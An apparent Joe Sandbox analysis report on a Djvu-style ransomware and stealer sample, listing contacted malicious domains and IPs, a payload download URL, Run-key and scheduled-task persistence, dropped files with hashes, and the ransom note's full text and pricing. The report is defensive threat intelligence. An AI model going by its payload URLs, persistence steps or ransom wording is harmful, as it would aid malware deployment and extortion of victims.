189.232.19.193	cajgtus.com	Mexico	8151	UninetSAdeCVMX	true
95.217.9.149	unknown	Germany	24940	HETZNER-ASDE	false
23.66.133.162	steamcommunity.com	United States	16625	AKAMAI-ASUS	false
104.21.65.24	api.2ip.ua	United States	13335	CLOUDFLARENETUS	false
175.119.10.231	sdfjhuz.com	Korea Republic of	9318	SKB-ASSKBroadbandCoLtdKR	true

General Information

Joe Sandbox version:	40.0.0 Tourmaline
Analysis ID:	1430890
Start date and time:	2024-04-24 10:26:09 +02:00
Joe Sandbox product:	CloudBasic
Overall analysis duration:	0h 12m 44s
Hypervisor based Inspection enabled:	false
Report type:	full
Cookbook file name:	default.jbs
Analysis system description:	Windows 10 x64 22H2 with Office Professional Plus 2019, Chrome 117, Firefox 118, Adobe Reader DC 23, Java 8 Update 381, 7zip 23.01
Number of analysed new started processes analysed:	33
Number of new started drivers analysed:	0
Number of existing processes analysed:	0
Number of existing drivers analysed:	0
Number of injected processes analysed:	0
Technologies:	HCA enabled EGA enabled AMSI enabled
Analysis Mode:	default
Analysis stop reason:	Timeout
Sample name:	SUwX12D2S6.exe renamed because original name is a hash value
Original Sample Name:	4b2fb93459b4e03686148d0a1d3c1f00.exe
Detection:	MAL
Classification:	mal100.rans.spre.troj.spyw.evad.winEXE@45/1373@9/5
EGA Information:	Successful, ratio: 100%
HCA Information:	Successful, ratio: 96% Number of executed functions: 66 Number of non-executed functions: 217
Cookbook Comments:	Found application associated with file extension: .exe Override analysis time to 240000 for current running targets taking high CPU consumption

Warnings

Exclude process from analysis (whitelisted): MpCmdRun.exe, dllhost.exe, WMIADAP.exe, SIHClient.exe, conhost.exe
Excluded domains from analysis (whitelisted): ocsp.digicert.com, slscr.update.microsoft.com, ctldl.windowsupdate.com, fe3cr.delivery.mp.microsoft.com
HTTP raw data packets have been limited to 10 per session. Please view the PCAPs for the complete data.
HTTPS proxy raw data packets have been limited to 10 per session. Please view the PCAPs for the complete data.
Not all processes where analyzed, report is missing behavior information
Report creation exceeded maximum time and may have missing disassembly code information.
Report size exceeded maximum capacity and may have missing behavior information.
Report size getting too big, too many NtCreateFile calls found.
Report size getting too big, too many NtOpenFile calls found.
Report size getting too big, too many NtOpenKeyEx calls found.
Report size getting too big, too many NtProtectVirtualMemory calls found.
Report size getting too big, too many NtQueryValueKey calls found.
Report size getting too big, too many NtReadFile calls found.
Report size getting too big, too many NtReadVirtualMemory calls found.
Report size getting too big, too many NtSetInformationFile calls found.
Report size getting too big, too many NtWriteFile calls found.

Simulations

Behavior and APIs

Time	Type	Description
09:27:04	Task Scheduler	Run new task: Time Trigger Task path: C:\Users\user\AppData\Local\b191416f-b6d0-4993-9bf9-b06958fd5666\SUwX12D2S6.exe s>--Task
09:27:07	Autostart	Run: HKCU\Software\Microsoft\Windows\CurrentVersion\Run SysHelper "C:\Users\user\AppData\Local\b191416f-b6d0-4993-9bf9-b06958fd5666\SUwX12D2S6.exe" --AutoStart
09:27:17	Autostart	Run: HKCU64\Software\Microsoft\Windows\CurrentVersion\Run SysHelper "C:\Users\user\AppData\Local\b191416f-b6d0-4993-9bf9-b06958fd5666\SUwX12D2S6.exe" --AutoStart
09:27:25	Task Scheduler	Run new task: Azure-Update-Task path: C:\Users\user\AppData\Roaming\Microsoft\Network\mstsca.exe
10:27:09	API Interceptor	1x Sleep call for process: SUwX12D2S6.exe modified
10:27:22	API Interceptor	1x Sleep call for process: build2.exe modified
10:28:09	API Interceptor	6510737x Sleep call for process: mstsca.exe modified

Joe Sandbox View / Context

IPs

Match	Associated Sample Name / URL	SHA 256	Detection	Threat Name	Link	Context
189.232.19.193	JfOWsh7v0r.exe	Get hash	malicious	Babuk, Clipboard Hijacker, Djvu, Vidar	Browse	sdfjhuz.com/dl/build2.exe
95.217.9.149	file.exe	Get hash	malicious	PureLog Stealer, Vidar	Browse
	rq0mVjR9ar.exe	Get hash	malicious	Babuk, Clipboard Hijacker, Djvu, Vidar	Browse
	8jvTeVxooN.exe	Get hash	malicious	Babuk, Djvu, Vidar	Browse
	UXNob1Dp32.exe	Get hash	malicious	Babuk, Clipboard Hijacker, Djvu, Vidar	Browse
	mJVVW85CnW.exe	Get hash	malicious	Babuk, Clipboard Hijacker, Djvu, Vidar	Browse
	JfOWsh7v0r.exe	Get hash	malicious	Babuk, Clipboard Hijacker, Djvu, Vidar	Browse
	AaIo4VGgvO.exe	Get hash	malicious	Babuk, Clipboard Hijacker, Djvu, Vidar	Browse
	file.exe	Get hash	malicious	Vidar	Browse
	file.exe	Get hash	malicious	Vidar	Browse
23.66.133.162	file.exe	Get hash	malicious	PureLog Stealer, Vidar	Browse
	VKn41qwiAa.exe	Get hash	malicious	Vidar	Browse
	file.exe	Get hash	malicious	Vidar	Browse
	mV94r2Q0Sx.exe	Get hash	malicious	Mystic Stealer	Browse
104.21.65.24	UXNob1Dp32.exe	Get hash	malicious	Babuk, Clipboard Hijacker, Djvu, Vidar	Browse
	mJVVW85CnW.exe	Get hash	malicious	Babuk, Clipboard Hijacker, Djvu, Vidar	Browse
	2llKbb9pR7.exe	Get hash	malicious	LummaC, Babuk, Clipboard Hijacker, Djvu, LummaC Stealer, RedLine, SmokeLoader	Browse
	CDssd7jEvY.exe	Get hash	malicious	LummaC, Babuk, Clipboard Hijacker, Djvu, LummaC Stealer, SmokeLoader, Vidar	Browse
	SecuriteInfo.com.W32.Kryptik.GYGF.tr.29287.4482.exe	Get hash	malicious	LummaC, Babuk, Clipboard Hijacker, Djvu, LummaC Stealer, SmokeLoader, Vidar	Browse
	WAhYftpepO.exe	Get hash	malicious	LummaC, Babuk, Clipboard Hijacker, Djvu, LummaC Stealer, SmokeLoader, Vidar	Browse
	6uVlPQSJ4e.exe	Get hash	malicious	LummaC, Babuk, Clipboard Hijacker, Djvu, Glupteba, LummaC Stealer, SmokeLoader	Browse
	vHpxL6E2sQ.exe	Get hash	malicious	LummaC, Babuk, Clipboard Hijacker, Djvu, LummaC Stealer, PureLog Stealer, SmokeLoader	Browse
	file.exe	Get hash	malicious	LummaC, Babuk, Clipboard Hijacker, Djvu, LummaC Stealer, PureLog Stealer, SmokeLoader	Browse
	wn1gncGy2T.exe	Get hash	malicious	LummaC, Babuk, Clipboard Hijacker, Djvu, LummaC Stealer, PureLog Stealer, SmokeLoader	Browse
175.119.10.231	2LksWs2xq7.exe	Get hash	malicious	SmokeLoader	Browse	nidoe.org/tmp/index.php
	SecuriteInfo.com.Win32.RansomX-gen.4067.126.exe	Get hash	malicious	LummaC, Amadey, Glupteba, LummaC Stealer, Mars Stealer, RedLine, SmokeLoader	Browse	kamsmad.com/tmp/index.php
	file.exe	Get hash	malicious	Babuk, Djvu	Browse	habrafa.com/test2/get.php?pid=F45A1084736B94F4480CF5D84F7F4DDD
	1AIemYSAZy.exe	Get hash	malicious	Glupteba, LummaC Stealer, SmokeLoader, Stealc	Browse	kamsmad.com/tmp/index.php
	MCYq2AqNU0.exe	Get hash	malicious	Glupteba, LummaC Stealer, SmokeLoader, Stealc, Xmrig	Browse	sjyey.com/tmp/index.php
	RnnWoAEP9mUhOXN_9mNdOzaP.exe	Get hash	malicious	Amadey, SmokeLoader	Browse	cbinr.com/forum/index.php
	2QsOdUYMpQ.exe	Get hash	malicious	LummaC, Glupteba, SmokeLoader, Stealc	Browse	emgvod.com/emd/1.jpg
	Vxn2mDf302.exe	Get hash	malicious	LummaC, Glupteba, SmokeLoader, Stealc	Browse	sjyey.com/tmp/index.php
	rR15ofOPl3.exe	Get hash	malicious	LummaC, Amadey, Babuk, Clipboard Hijacker, Djvu, LummaC Stealer, RedLine	Browse	habrafa.com/test1/get.php?pid=F8AFCDC4E800A3319FFB343E83099637
	MnUgLvGD1b.exe	Get hash	malicious	Amadey, SmokeLoader	Browse	emgvod.com/emd/1.jpg

Domains

Match	Associated Sample Name / URL	SHA 256	Detection	Threat Name	Link	Context
steamcommunity.com	file.exe	Get hash	malicious	PureLog Stealer, Vidar	Browse	23.66.133.162
	rq0mVjR9ar.exe	Get hash	malicious	Babuk, Clipboard Hijacker, Djvu, Vidar	Browse	96.17.209.196
	8jvTeVxooN.exe	Get hash	malicious	Babuk, Djvu, Vidar	Browse	184.30.90.143
	UXNob1Dp32.exe	Get hash	malicious	Babuk, Clipboard Hijacker, Djvu, Vidar	Browse	23.59.200.146
	mJVVW85CnW.exe	Get hash	malicious	Babuk, Clipboard Hijacker, Djvu, Vidar	Browse	104.106.57.101
	JfOWsh7v0r.exe	Get hash	malicious	Babuk, Clipboard Hijacker, Djvu, Vidar	Browse	23.76.43.59
	AaIo4VGgvO.exe	Get hash	malicious	Babuk, Clipboard Hijacker, Djvu, Vidar	Browse	104.67.208.180
	file.exe	Get hash	malicious	Vidar	Browse	23.47.27.74
	file.exe	Get hash	malicious	Vidar	Browse	23.65.246.108
	file.exe	Get hash	malicious	Vidar	Browse	184.27.10.105
cajgtus.com	rq0mVjR9ar.exe	Get hash	malicious	Babuk, Clipboard Hijacker, Djvu, Vidar	Browse	200.45.93.45
	8jvTeVxooN.exe	Get hash	malicious	Babuk, Djvu, Vidar	Browse	85.11.159.22
	UXNob1Dp32.exe	Get hash	malicious	Babuk, Clipboard Hijacker, Djvu, Vidar	Browse	189.245.19.217
	3CB27VUHRg.exe	Get hash	malicious	Babuk, Djvu	Browse	81.183.132.103
	mJVVW85CnW.exe	Get hash	malicious	Babuk, Clipboard Hijacker, Djvu, Vidar	Browse	58.151.148.90
	JfOWsh7v0r.exe	Get hash	malicious	Babuk, Clipboard Hijacker, Djvu, Vidar	Browse	211.181.24.132
	AaIo4VGgvO.exe	Get hash	malicious	Babuk, Clipboard Hijacker, Djvu, Vidar	Browse	189.195.132.134
sdfjhuz.com	rq0mVjR9ar.exe	Get hash	malicious	Babuk, Clipboard Hijacker, Djvu, Vidar	Browse	186.147.159.149
	8jvTeVxooN.exe	Get hash	malicious	Babuk, Djvu, Vidar	Browse	123.140.161.243
	UXNob1Dp32.exe	Get hash	malicious	Babuk, Clipboard Hijacker, Djvu, Vidar	Browse	186.13.17.220
	3CB27VUHRg.exe	Get hash	malicious	Babuk, Djvu	Browse	211.181.24.132
	mJVVW85CnW.exe	Get hash	malicious	Babuk, Clipboard Hijacker, Djvu, Vidar	Browse	190.218.33.18
	JfOWsh7v0r.exe	Get hash	malicious	Babuk, Clipboard Hijacker, Djvu, Vidar	Browse	189.232.19.193
	AaIo4VGgvO.exe	Get hash	malicious	Babuk, Clipboard Hijacker, Djvu, Vidar	Browse	187.228.55.117
	8xFzJWrEIa.exe	Get hash	malicious	Babuk, Clipboard Hijacker, Djvu, RedLine, SmokeLoader, Vidar	Browse	179.27.75.59
	2llKbb9pR7.exe	Get hash	malicious	LummaC, Babuk, Clipboard Hijacker, Djvu, LummaC Stealer, RedLine, SmokeLoader	Browse	187.134.67.105
	MdeeRbWvqe.exe	Get hash	malicious	LummaC, Babuk, Djvu, LummaC Stealer, RedLine, SmokeLoader	Browse	181.128.130.193
api.2ip.ua	rq0mVjR9ar.exe	Get hash	malicious	Babuk, Clipboard Hijacker, Djvu, Vidar	Browse	172.67.139.220
	8jvTeVxooN.exe	Get hash	malicious	Babuk, Djvu, Vidar	Browse	172.67.139.220
	UXNob1Dp32.exe	Get hash	malicious	Babuk, Clipboard Hijacker, Djvu, Vidar	Browse	104.21.65.24
	3CB27VUHRg.exe	Get hash	malicious	Babuk, Djvu	Browse	172.67.139.220
	mJVVW85CnW.exe	Get hash	malicious	Babuk, Clipboard Hijacker, Djvu, Vidar	Browse	104.21.65.24
	JfOWsh7v0r.exe	Get hash	malicious	Babuk, Clipboard Hijacker, Djvu, Vidar	Browse	172.67.139.220
	AaIo4VGgvO.exe	Get hash	malicious	Babuk, Clipboard Hijacker, Djvu, Vidar	Browse	172.67.139.220
	8xFzJWrEIa.exe	Get hash	malicious	Babuk, Clipboard Hijacker, Djvu, RedLine, SmokeLoader, Vidar	Browse	172.67.139.220
	2llKbb9pR7.exe	Get hash	malicious	LummaC, Babuk, Clipboard Hijacker, Djvu, LummaC Stealer, RedLine, SmokeLoader	Browse	104.21.65.24
	MdeeRbWvqe.exe	Get hash	malicious	LummaC, Babuk, Djvu, LummaC Stealer, RedLine, SmokeLoader	Browse	172.67.139.220

ASNs

Match	Associated Sample Name / URL	SHA 256	Detection	Threat Name	Link	Context
HETZNER-ASDE	file.exe	Get hash	malicious	PureLog Stealer, Vidar	Browse	95.217.9.149
	rq0mVjR9ar.exe	Get hash	malicious	Babuk, Clipboard Hijacker, Djvu, Vidar	Browse	95.217.9.149
	8jvTeVxooN.exe	Get hash	malicious	Babuk, Djvu, Vidar	Browse	95.217.9.149
	UXNob1Dp32.exe	Get hash	malicious	Babuk, Clipboard Hijacker, Djvu, Vidar	Browse	95.217.9.149
	mJVVW85CnW.exe	Get hash	malicious	Babuk, Clipboard Hijacker, Djvu, Vidar	Browse	95.217.9.149
	JfOWsh7v0r.exe	Get hash	malicious	Babuk, Clipboard Hijacker, Djvu, Vidar	Browse	95.217.9.149
	AaIo4VGgvO.exe	Get hash	malicious	Babuk, Clipboard Hijacker, Djvu, Vidar	Browse	95.217.9.149
	file.exe	Get hash	malicious	Vidar	Browse	95.217.244.99
	BW38j8Jkbl.exe	Get hash	malicious	Pony	Browse	144.76.41.117
	https://webmail.cmxserver.com/authsecure/index.php?email=kaylen@virtualintelligencebriefing.com	Get hash	malicious	Unknown	Browse	136.243.80.35
UninetSAdeCVMX	957C4XK6Lt.exe	Get hash	malicious	Phorpiex	Browse	189.190.10.16
	UXNob1Dp32.exe	Get hash	malicious	Babuk, Clipboard Hijacker, Djvu, Vidar	Browse	189.245.19.217
	JfOWsh7v0r.exe	Get hash	malicious	Babuk, Clipboard Hijacker, Djvu, Vidar	Browse	189.232.19.193
	AaIo4VGgvO.exe	Get hash	malicious	Babuk, Clipboard Hijacker, Djvu, Vidar	Browse	187.228.55.117
	oVOImRIAaz.elf	Get hash	malicious	Mirai	Browse	201.129.243.137
	xzk9TKqNoI.elf	Get hash	malicious	Mirai	Browse	148.227.200.233
	sora.arm.elf	Get hash	malicious	Mirai	Browse	201.155.131.147
	sora.arm7.elf	Get hash	malicious	Mirai	Browse	189.181.178.47
	SecuriteInfo.com.Trojan.InstallCore.4086.15026.2213.exe	Get hash	malicious	PrivateLoader, PureLog Stealer	Browse	187.201.178.184
	SecuriteInfo.com.Trojan.InstallCore.4086.15026.2213.exe	Get hash	malicious	PrivateLoader, PureLog Stealer	Browse	189.248.104.1
AKAMAI-ASUS	file.exe	Get hash	malicious	PureLog Stealer, Vidar	Browse	23.66.133.162
	rq0mVjR9ar.exe	Get hash	malicious	Babuk, Clipboard Hijacker, Djvu, Vidar	Browse	96.17.209.196
	8jvTeVxooN.exe	Get hash	malicious	Babuk, Djvu, Vidar	Browse	184.30.90.143
	https://tibusiness.cl/css/causarol.rar	Get hash	malicious	Unknown	Browse	23.217.9.75
	http://damarltda.cl/certificado.php	Get hash	malicious	Unknown	Browse	23.200.60.110
	Payment MT103.xls	Get hash	malicious	Unknown	Browse	23.200.60.110
	PO#0023298413.xls	Get hash	malicious	Unknown	Browse	23.200.60.110
	UXNob1Dp32.exe	Get hash	malicious	Babuk, Clipboard Hijacker, Djvu, Vidar	Browse	23.59.200.146
	mJVVW85CnW.exe	Get hash	malicious	Babuk, Clipboard Hijacker, Djvu, Vidar	Browse	104.106.57.101
	https://netorg442802-my.sharepoint.com/:b:/g/personal/darek_daronto_com/EeXtnEaZ3XJBqGk13it6odUB-K9vuYAC7zp7SfyciZ3BpQ?e=nkKu2w	Get hash	malicious	HtmlDropper, HTMLPhisher	Browse	23.43.51.75
CLOUDFLARENETUS	SecuriteInfo.com.Exploit.ShellCode.69.19968.913.rtf	Get hash	malicious	Remcos	Browse	172.67.215.45
	DEKONT.exe	Get hash	malicious	PureLog Stealer, Snake Keylogger	Browse	104.21.27.85
	https://c51k11nyj56k.pettisville.sbs/lander/FileRotator_ID428/download.php	Get hash	malicious	Unknown	Browse	104.21.91.122
	M_F+niestandardowy stempel.xlsx.exe	Get hash	malicious	AgentTesla	Browse	172.67.74.152
	rq0mVjR9ar.exe	Get hash	malicious	Babuk, Clipboard Hijacker, Djvu, Vidar	Browse	172.67.139.220
	https://220420241.blob.core.windows.net/web/index.html?id=999	Get hash	malicious	Unknown	Browse	1.1.1.1
	responsibilityleadpro.exe	Get hash	malicious	CredGrabber, Meduza Stealer	Browse	104.26.12.205
	https://u44056869.ct.sendgrid.net/ls/click?upn=u001.nH1ryR-2Btr2av-2Bkfc8quLEXKlGRKFonctFf3nB-2FAP-2Bjae3IsQgCoKtK-2FQ57cEEmmhZzRyd07G16kQ6rsc4EaJT6S7Rh48kOVsBPHV-2Fkkk9Vfz7cojLOCLuj4sUGVMM7pbdmwtinmtiLhfYkhEkgve628OiJsccHyeYc3lkmkn6epsOmmj4-2Fi-2BWjxfm73m7vUzCOGnDWnQJBmmd6DmkDcfIw-3D-3DU_vL_MRfqZW9nS4IDBSHT8MfJfSAq9b0aOVvtJoUhpW1Ga8ePAnfV-2FfXwE0xIGnayeXag21qNKRc5VLcgMkPlIuCBf7Hi8EFUvj1-2FlklJpMLZNx1IQq8eO26tVdmeuxhGn-2B2zjA71oEkiC9pTrxX9Dz-2FMJk8mkJr62ye1KlBo-2B8fxBlVl-2B6T0POpB0GKoibGhcjh4Z-2FnPU453nMAkUkNy65MlaA-3D-3D	Get hash	malicious	HTMLPhisher	Browse	104.17.2.184
	iwjvkEAIQa.rtf	Get hash	malicious	Unknown	Browse	172.67.187.200
	8jvTeVxooN.exe	Get hash	malicious	Babuk, Djvu, Vidar	Browse	172.67.139.220

JA3 Fingerprints

Match	Associated Sample Name / URL	SHA 256	Detection	Threat Name	Link	Context
51c64c77e60f3980eea90869b68c58a8	file.exe	Get hash	malicious	PureLog Stealer, Vidar	Browse	95.217.9.149
	rq0mVjR9ar.exe	Get hash	malicious	Babuk, Clipboard Hijacker, Djvu, Vidar	Browse	95.217.9.149
	8jvTeVxooN.exe	Get hash	malicious	Babuk, Djvu, Vidar	Browse	95.217.9.149
	UXNob1Dp32.exe	Get hash	malicious	Babuk, Clipboard Hijacker, Djvu, Vidar	Browse	95.217.9.149
	mJVVW85CnW.exe	Get hash	malicious	Babuk, Clipboard Hijacker, Djvu, Vidar	Browse	95.217.9.149
	JfOWsh7v0r.exe	Get hash	malicious	Babuk, Clipboard Hijacker, Djvu, Vidar	Browse	95.217.9.149
	AaIo4VGgvO.exe	Get hash	malicious	Babuk, Clipboard Hijacker, Djvu, Vidar	Browse	95.217.9.149
	file.exe	Get hash	malicious	Vidar	Browse	95.217.9.149
	file.exe	Get hash	malicious	Vidar	Browse	95.217.9.149
	file.exe	Get hash	malicious	Vidar	Browse	95.217.9.149
37f463bf4616ecd445d4a1937da06e19	Zapytanie ofertowe Fl#U00e4ktGroup 04232024.hta	Get hash	malicious	AgentTesla, GuLoader	Browse	23.66.133.162 104.21.65.24
	file.exe	Get hash	malicious	PureLog Stealer, Vidar	Browse	23.66.133.162 104.21.65.24
	Umulighed.vbs	Get hash	malicious	AgentTesla, GuLoader	Browse	23.66.133.162 104.21.65.24
	rq0mVjR9ar.exe	Get hash	malicious	Babuk, Clipboard Hijacker, Djvu, Vidar	Browse	23.66.133.162 104.21.65.24
	responsibilityleadpro.exe	Get hash	malicious	CredGrabber, Meduza Stealer	Browse	23.66.133.162 104.21.65.24
	8jvTeVxooN.exe	Get hash	malicious	Babuk, Djvu, Vidar	Browse	23.66.133.162 104.21.65.24
	#U0421#U041f#U0426 #U2116130 #U043e#U0442 12.04.2024 #U043f#U043e#U0434#U043f#U0438#U0441..exe	Get hash	malicious	GuLoader, Remcos	Browse	23.66.133.162 104.21.65.24
	DAIKIN AC SPAIN 2024.vbs	Get hash	malicious	AgentTesla, GuLoader	Browse	23.66.133.162 104.21.65.24
	transferencia.vbs	Get hash	malicious	AgentTesla, GuLoader	Browse	23.66.133.162 104.21.65.24
	1000901 LIQUIDACION.vbs	Get hash	malicious	FormBook, GuLoader	Browse	23.66.133.162 104.21.65.24

Dropped Files

Match	Associated Sample Name / URL	SHA 256	Detection	Threat Name	Link
C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\YLNGKWRH\sqln[1].dll	file.exe	Get hash	malicious	PureLog Stealer, Vidar	Browse
	rq0mVjR9ar.exe	Get hash	malicious	Babuk, Clipboard Hijacker, Djvu, Vidar	Browse
	8jvTeVxooN.exe	Get hash	malicious	Babuk, Djvu, Vidar	Browse
	UXNob1Dp32.exe	Get hash	malicious	Babuk, Clipboard Hijacker, Djvu, Vidar	Browse
	mJVVW85CnW.exe	Get hash	malicious	Babuk, Clipboard Hijacker, Djvu, Vidar	Browse
	JfOWsh7v0r.exe	Get hash	malicious	Babuk, Clipboard Hijacker, Djvu, Vidar	Browse
	AaIo4VGgvO.exe	Get hash	malicious	Babuk, Clipboard Hijacker, Djvu, Vidar	Browse
	file.exe	Get hash	malicious	Vidar	Browse
	file.exe	Get hash	malicious	Vidar	Browse
	file.exe	Get hash	malicious	Vidar	Browse
C:\Users\user\AppData\Roaming\Microsoft\Network\mstsca.exe	rq0mVjR9ar.exe	Get hash	malicious	Babuk, Clipboard Hijacker, Djvu, Vidar	Browse
	UXNob1Dp32.exe	Get hash	malicious	Babuk, Clipboard Hijacker, Djvu, Vidar	Browse
	mJVVW85CnW.exe	Get hash	malicious	Babuk, Clipboard Hijacker, Djvu, Vidar	Browse
	JfOWsh7v0r.exe	Get hash	malicious	Babuk, Clipboard Hijacker, Djvu, Vidar	Browse
	AaIo4VGgvO.exe	Get hash	malicious	Babuk, Clipboard Hijacker, Djvu, Vidar	Browse
	8xFzJWrEIa.exe	Get hash	malicious	Babuk, Clipboard Hijacker, Djvu, RedLine, SmokeLoader, Vidar	Browse
	2llKbb9pR7.exe	Get hash	malicious	LummaC, Babuk, Clipboard Hijacker, Djvu, LummaC Stealer, RedLine, SmokeLoader	Browse
	CDssd7jEvY.exe	Get hash	malicious	LummaC, Babuk, Clipboard Hijacker, Djvu, LummaC Stealer, SmokeLoader, Vidar	Browse
	SecuriteInfo.com.W32.Kryptik.GYGF.tr.29287.4482.exe	Get hash	malicious	LummaC, Babuk, Clipboard Hijacker, Djvu, LummaC Stealer, SmokeLoader, Vidar	Browse
	SecuriteInfo.com.W32.Kryptik.GYGF.tr.12827.18803.exe	Get hash	malicious	LummaC, Babuk, Clipboard Hijacker, Djvu, LummaC Stealer, SmokeLoader, Vidar	Browse

Created / dropped Files

C:\$WinREAgent\_README.txt

Download File

Process:	C:\Users\user\Desktop\SUwX12D2S6.exe
File Type:	ASCII text, with CRLF line terminators
Category:	dropped
Size (bytes):	1381
Entropy (8bit):	4.887762912110015
Encrypted:	false
SSDEEP:	24:FS5ZHPnIekFQjhRe9bgnYfJeKAUEuWEYNzk5LmFRqrs6314kA+GT/kF5M2/kJw3s:WZHfv0pfNAU5WEYNzoLPs41rDGT0f/kX
MD5:	4CA4E4C152E163E27BF40545F832D28C
SHA1:	592F8EF320B0E69D9189B58D5AB27C71E4B95AB1
SHA-256:	B6847672C899A968614A625608176BA8AD3FDA8A6A442E2BE5D15458BF803C0C
SHA-512:	AE7C8050529F42785A1E8523524E23372DED4AA0C7D5B4425F83B7C744503C15EEFF12B404289F1D9CEAED64FA38362B7BC45B40A1C208B4F094B22FBAF76CBB
Malicious:	true
Preview:	ATTENTION!....Don't worry, you can return all your files!..All your files like pictures, databases, documents and other important are encrypted with strongest encryption and unique key...The only method of recovering files is to purchase decrypt tool and unique key for you...This software will decrypt all your encrypted files...What guarantees you have?..You can send one of your encrypted file from your PC and we decrypt it for free...But we can decrypt only 1 file for free. File must not contain valuable information...Do not ask assistants from youtube and recovery data sites for help in recovering your data...They can use your free decryption quota and scam you...Our contact is emails in this text document only...You can get and look video overview decrypt tool:..https://wetransfer.com/downloads/54cdfd152fe98eedb628a1f4ddb7076420240421150208/403a27..Price of private key and decrypt software is $999...Discount 50% available if you contact us first 72 hours, that's price for you is $49

C:\ProgramData\DBAEHCGHIIIDHIECFHJDHDGHDB

Download File

Process:	C:\Users\user\AppData\Local\7dff3941-d69c-460f-a7ee-d94d9d9159b1\build2.exe
File Type:	SQLite 3.x database, last written using SQLite version 3042000, file counter 11, database pages 7, cookie 0x3, schema 4, UTF-8, version-valid-for 11
Category:	dropped
Size (bytes):	28672
Entropy (8bit):	2.5793180405395284
Encrypted:	false
SSDEEP:	96:/xealJiylsMjLslk5nYPphZEhcR2hO2mOeVgN8tmKqWkh3qzRk4PeOhZ3hcR1hOI:/xGZR8wbtxq5uWRHKloIN7YItnb6Ggz
MD5:	41EA9A4112F057AE6BA17E2838AEAC26
SHA1:	F2B389103BFD1A1A050C4857A995B09FEAFE8903
SHA-256:	CE84656EAEFC842355D668E7141F84383D3A0C819AE01B26A04F9021EF0AC9DB
SHA-512:	29E848AD16D458F81D8C4F4E288094B4CFC103AD99B4511ED1A4846542F9128736A87AAC5F4BFFBEFE7DF99A05EB230911EDCE99FEE3877DEC130C2781962103
Malicious:	false
Preview:	SQLite format 3......@ ..........................................................................j..........g...$......................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................

C:\ProgramData\IIJEBAEC

Download File

Process:	C:\Users\user\AppData\Local\7dff3941-d69c-460f-a7ee-d94d9d9159b1\build2.exe
File Type:	SQLite 3.x database, last written using SQLite version 3042000, file counter 4, database pages 39, cookie 0x20, schema 4, UTF-8, version-valid-for 4
Category:	dropped
Size (bytes):	159744
Entropy (8bit):	0.7873599747470391
Encrypted:	false
SSDEEP:	96:pn6pld6px0c2EDKFm5wTmN8ewmdaDKFmJ4ee7vuejzH+bF+UIYysX0IxQzh/tsVL:8Ys3QMmRtH+bF+UI3iN0RSV0k3qLyj9v
MD5:	6A6BAD38068B0F6F2CADC6464C4FE8F0
SHA1:	4E3B235898D8E900548613DDB6EA59CDA5EB4E68
SHA-256:	0998615B274171FC74AAB4E70FD355AF513186B74A4EB07AAA883782E6497982
SHA-512:	BFE41E5AB5851C92308A097FE9DA4F215875AC2C7D7A483B066585071EE6086B5A7BE6D80CEC18027A3B88AA5C0A477730B22A41406A6AB344FCD9C659B9CB0A
Malicious:	false
Preview:	SQLite format 3......@ .......'........... ......................................................j.....................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................

C:\SystemID\PersonalID.txt

Download File

Process:	C:\Users\user\Desktop\SUwX12D2S6.exe
File Type:	ASCII text, with CRLF line terminators
Category:	dropped
Size (bytes):	42
Entropy (8bit):	4.737322779818595
Encrypted:	false
SSDEEP:	3:QbQz39BKQfovn:QMzjhAvn
MD5:	628D2B59499A5C725456ABFB091255B1
SHA1:	587E99EEEA9E9441009D42A42780F655E7BF0499
SHA-256:	AE7F765C77274D05D43E56CA611E2ABF56DE19FD21C3F4CA4A8C79F8772F7AE7
SHA-512:	F9679F1ECB8C0153EEC28F4FA4E9E67F9CF212E138A25CBBE3EBB86DF4E3A46C5151535F7E0254DD0A3DB03F0BEEA2B2B19397FEC7191272679A0B87DB429ECD
Malicious:	false
Preview:	itkm7MOsOlVQkbEQhWCVEWoMyGFhVjgEdpNlgfiz..

C:\Users\user\.curlrc

Download File

Process:	C:\Users\user\AppData\Local\b191416f-b6d0-4993-9bf9-b06958fd5666\SUwX12D2S6.exe
File Type:	data
Category:	dropped
Size (bytes):	342
Entropy (8bit):	7.208520864624703
Encrypted:	false
SSDEEP:	6:KWj+0bTqrH7XuXVY8wsvmn7Fp4gFWqAZLYrYaQ9a8G+M1qJSBzjhPcii96Z:Nj+VpQv8qqdq9aJxAE5jVcii9a
MD5:	0D60BA8E0078A9B4A2EA501E6C161A33
SHA1:	5CECA613A8115C7E07C8879455D74AAC9513EDFB
SHA-256:	FDCC0ED2C400F2DC4006EC8AED51E81D3CBF3A9B9624E5A367CB4FADEC39EC03
SHA-512:	2BEF745A69AA8486C37CE15F0E52DE849AD58E7393724E68A6114CEDB5334D31567D10BE1C71C5340BA0A6769E254392BEF33D0373B31A4C2CC87DB64026840A
Malicious:	false
Preview:	insec..8{....i\G../.t.+=b...@.]..j.gPL.::..xT....&.GKl..........E.+......)\..6K.......\r._...P...}...H...h\|.H..`.B..^L0...S..u.Q!.].o .>..9.8 sd..i..+.\...&&.].g.ehA.:\|..8Bg.........KS..M]6g.a.F.{.+_.!...9.H..m.Y:..}...$........2.V.#..3V.=h.y....%OA..itkm7MOsOlVQkbEQhWCVEWoMyGFhVjgEdpNlgfiz{36A698B9-D67C-4E07-BE82-0EC5B14B4DF5}

C:\Users\user\.curlrc.bgzq (copy)

Download File

Process:	C:\Users\user\AppData\Local\b191416f-b6d0-4993-9bf9-b06958fd5666\SUwX12D2S6.exe
File Type:	data
Category:	dropped
Size (bytes):	342
Entropy (8bit):	7.208520864624703
Encrypted:	false
SSDEEP:	6:KWj+0bTqrH7XuXVY8wsvmn7Fp4gFWqAZLYrYaQ9a8G+M1qJSBzjhPcii96Z:Nj+VpQv8qqdq9aJxAE5jVcii9a
MD5:	0D60BA8E0078A9B4A2EA501E6C161A33
SHA1:	5CECA613A8115C7E07C8879455D74AAC9513EDFB
SHA-256:	FDCC0ED2C400F2DC4006EC8AED51E81D3CBF3A9B9624E5A367CB4FADEC39EC03
SHA-512:	2BEF745A69AA8486C37CE15F0E52DE849AD58E7393724E68A6114CEDB5334D31567D10BE1C71C5340BA0A6769E254392BEF33D0373B31A4C2CC87DB64026840A
Malicious:	false
